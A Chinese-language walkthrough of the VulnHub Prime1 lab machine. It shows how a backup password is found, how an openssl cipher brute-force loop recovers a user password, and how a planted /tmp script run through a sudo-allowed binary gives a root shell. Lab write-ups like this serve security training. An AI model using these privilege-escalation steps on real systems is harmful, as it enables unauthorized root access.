Vulnhub靶机实操笔记-Prime1-解法二
字数 989 2025-08-10 19:49:11
Vulnhub靶机Prime1提权教学文档
一、初始信息收集
-
系统版本检查:
uname -a- 发现系统版本较低,存在内核提权漏洞可能性
-
用户权限检查:
sudo -l- 发现用户
saket可以无密码以root权限执行enc程序
- 发现用户
二、利用saket用户权限
-
检查saket目录:
cd /home/saket ls -liah- 发现
enc可执行文件
- 发现
-
尝试分析enc文件:
strings enc # 尝试查看内容 file enc # 尝试读取文件类型- 发现需要密码才能执行
-
查找备份文件:
find / -name '*backup*' 2>/dev/null | sort | less- 在
/opt/backup/server_database目录下找到backup_pass文件 - 读取文件获得密码:
backup_password
- 在
-
使用密码执行enc:
sudo ./enc- 输入密码
backup_password - 生成
enc.txt和key.txt文件
- 输入密码
三、解密过程
-
分析key.txt:
- 提示将"ippsec"转换为MD5哈希
-
生成MD5哈希:
echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}'- 得到MD5值:
366a74cb3c959de17d61db30591c39d1
- 得到MD5值:
-
转换为16进制格式:
echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n' | tr -d ' '- 得到16进制值:
3336366137346362336339353964653137643631646233303539316333396431
- 得到16进制值:
-
解密enc.txt内容:
- 首先收集所有可能的加密算法:
openssl enc --help- 将加密算法保存到
CipherTypes文件
-
批量尝试解密:
for Cipher in $(cat CipherTypes);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bF[91/498]yvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null ;echo $Cipher;done- 发现
aes-256-ecb算法解密成功
- 发现
-
验证解密:
echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -aes-256-ecb -K '3336366137346362336339353964653137643631646233303539316333396431'- 获得明文:
tribute_to_ippsec(saket用户的旧密码)
- 获得明文:
四、获取saket用户权限
- SSH登录:
ssh saket@localhost- 密码:
tribute_to_ippsec
- 密码:
五、内网提权
-
检查sudo权限:
sudo -l- 发现可以无密码以root权限执行
/home/victor/undefeated_victor
- 发现可以无密码以root权限执行
-
检查定时任务:
cat /etc/crontab -
利用undefeated_victor提权:
cd /tmp echo '#!/bin/bash' > challenge echo '/bin/bash' >> challenge chmod +x challenge sudo /home/victor/undefeated_victor whoami- 成功获取root权限
六、关键命令总结
-
权限检查:
sudo -l -
文件搜索:
find / -name '*backup*' 2>/dev/null | sort | less -
MD5生成:
echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' -
批量解密脚本:
for Cipher in $(cat CipherTypes);do echo '加密内容' | openssl enc -d -a -$Cipher -K '密钥' 2>/dev/null ;echo $Cipher;done -
最终提权:
echo '/bin/bash' > /tmp/challenge chmod +x /tmp/challenge sudo /home/victor/undefeated_victor
七、技术要点
- sudo权限利用:检查哪些命令可以无密码以root执行
- 加密算法识别:使用openssl尝试各种加密算法解密
- MD5哈希转换:将字符串转换为MD5并格式化为16进制
- 定时任务利用:通过创建可执行文件实现提权
- 自动化脚本:批量尝试解密算法提高效率
通过以上步骤,可以完整地从初始访问到最终获取root权限的整个渗透测试过程。